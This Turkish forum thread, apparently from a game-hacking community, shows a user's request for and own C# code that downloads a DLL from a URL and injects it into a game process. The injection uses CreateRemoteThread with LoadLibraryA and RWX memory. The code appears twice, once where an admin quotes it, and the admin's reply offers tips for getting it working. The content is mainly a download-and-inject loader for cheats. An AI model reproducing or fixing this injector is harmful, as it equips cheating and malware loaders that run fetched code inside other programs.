C# Dll indirip inject etme

DaisYX

KARINDESEŞEN JACK MİZAHI
Super Member
Katılım
18 Ağu 2021
Konular
42
Mesajlar
177
Tepkime puanı
48
RC Point
0
c# form uygulamasında buttona bastığımda dll yi indirisin ve indirdiği dll yi oyuna inject etsin bunun kodunu atabilirmisiniz
 

DaisYX

KARINDESEŞEN JACK MİZAHI
Super Member
Katılım
18 Ağu 2021
Konular
42
Mesajlar
177
Tepkime puanı
48
RC Point
0
WebClient c# + WriteMemory windows apisini kullan.
dll yi indiriyor fakat hem inject etmiyor hemde dll indirilemedi diyor fakat klasöre baktığımda dll inmiş halde

C#:
public void InjectDLL(IntPtr hProcess, String strDLLName)
        {
            IntPtr bytesout;

            Int32 LenWrite = strDLLName.Length + 1;

            IntPtr AllocMem = (IntPtr)VirtualAllocEx(hProcess, (IntPtr)null, (uint)LenWrite, 0x1000, 0x40);

            WriteProcessMemory(hProcess, AllocMem, strDLLName, (UIntPtr)LenWrite, out bytesout);

            UIntPtr Injector = (UIntPtr)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

            if (Injector == null)
            {
                MessageBox.Show(" Injector Error! \n");
                return;
            }

            IntPtr hThread = (IntPtr)CreateRemoteThread(hProcess, (IntPtr)null, 0, Injector, AllocMem, 0, out bytesout);

            if (hThread == null)
            {
                MessageBox.Show(" hThread [ 1 ] Error! \n");
                return;
            }

            int Result = WaitForSingleObject(hThread, 10 * 1000);

            if (Result == 0x00000080L || Result == 0x00000102L || Result == 0xFFFFFFFF)
            {
                MessageBox.Show(" hThread [ 2 ] Error! \n ");
                if (hThread != null)
                {
                    CloseHandle(hThread);
                }
                return;
            }

            Thread.Sleep(1000);
            VirtualFreeEx(hProcess, AllocMem, (UIntPtr)0, 0x8000);

            if (hThread != null)
            {
                CloseHandle(hThread);
            }
            return;

        }

        private void inj_Click(object sender, EventArgs e)
        {
            string downloadUrl = "https://youtube.com/test.dll";

            using (var client = new WebClient())
            {
                client.DownloadFileCompleted += new AsyncCompletedEventHandler(dlldownload);
                client.DownloadFileAsync(new Uri(downloadUrl), "test.dll");
            }
        }

        private void dlldownload(object sender, AsyncCompletedEventArgs e)
        {
            if (e.Error == null)
            {
                string dllPath = "test.dll";
                System.Reflection.Assembly.LoadFile(dllPath);
                

                String strDLLName = @"\test.dll";
                String strProcessName = "oyun";

                Int32 ProcID = GetProcessId(strProcessName);
                if (ProcID >= 0)
                {
                    IntPtr hProcess = (IntPtr)OpenProcess(0x1F0FFF, 1, ProcID);
                    if (hProcess == null)
                    {
                        MessageBox.Show("oyun bulunamadı");
                        return;
                    }
                    else
                        InjectDLL(hProcess, strDLLName);
                }
            }
            else
            {
                MessageBox.Show("İndirme sırasında bir hata oluştu: " + e.Error.Message, "Hata", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
 

Osderda

>.....
Admin
Katılım
19 Eyl 2019
Konular
50
Mesajlar
3,372
Çözümler
842
Tepkime puanı
7,458
Konum
X399+WF3 Kadıköy, İstanbul
Web sitesi
osderdadev.com
RC Point
0
dll yi indiriyor fakat hem inject etmiyor hemde dll indirilemedi diyor fakat klasöre baktığımda dll inmiş halde

C#:
public void InjectDLL(IntPtr hProcess, String strDLLName)
        {
            IntPtr bytesout;

            Int32 LenWrite = strDLLName.Length + 1;

            IntPtr AllocMem = (IntPtr)VirtualAllocEx(hProcess, (IntPtr)null, (uint)LenWrite, 0x1000, 0x40);

            WriteProcessMemory(hProcess, AllocMem, strDLLName, (UIntPtr)LenWrite, out bytesout);

            UIntPtr Injector = (UIntPtr)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

            if (Injector == null)
            {
                MessageBox.Show(" Injector Error! \n");
                return;
            }

            IntPtr hThread = (IntPtr)CreateRemoteThread(hProcess, (IntPtr)null, 0, Injector, AllocMem, 0, out bytesout);

            if (hThread == null)
            {
                MessageBox.Show(" hThread [ 1 ] Error! \n");
                return;
            }

            int Result = WaitForSingleObject(hThread, 10 * 1000);

            if (Result == 0x00000080L || Result == 0x00000102L || Result == 0xFFFFFFFF)
            {
                MessageBox.Show(" hThread [ 2 ] Error! \n ");
                if (hThread != null)
                {
                    CloseHandle(hThread);
                }
                return;
            }

            Thread.Sleep(1000);
            VirtualFreeEx(hProcess, AllocMem, (UIntPtr)0, 0x8000);

            if (hThread != null)
            {
                CloseHandle(hThread);
            }
            return;

        }

        private void inj_Click(object sender, EventArgs e)
        {
            string downloadUrl = "https://youtube.com/test.dll";

            using (var client = new WebClient())
            {
                client.DownloadFileCompleted += new AsyncCompletedEventHandler(dlldownload);
                client.DownloadFileAsync(new Uri(downloadUrl), "test.dll");
            }
        }

        private void dlldownload(object sender, AsyncCompletedEventArgs e)
        {
            if (e.Error == null)
            {
                string dllPath = "test.dll";
                System.Reflection.Assembly.LoadFile(dllPath);
              

                String strDLLName = @"\test.dll";
                String strProcessName = "oyun";

                Int32 ProcID = GetProcessId(strProcessName);
                if (ProcID >= 0)
                {
                    IntPtr hProcess = (IntPtr)OpenProcess(0x1F0FFF, 1, ProcID);
                    if (hProcess == null)
                    {
                        MessageBox.Show("oyun bulunamadı");
                        return;
                    }
                    else
                        InjectDLL(hProcess, strDLLName);
                }
            }
            else
            {
                MessageBox.Show("İndirme sırasında bir hata oluştu: " + e.Error.Message, "Hata", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
asenktron thread oluşturarak webclient kullanın. Webclient Completed olayınada inject kodunu ekleyin. projenizin kodu gerçekten çok kötü. e.Error yerine hata yakalama kullanın(try catch).
 
Üst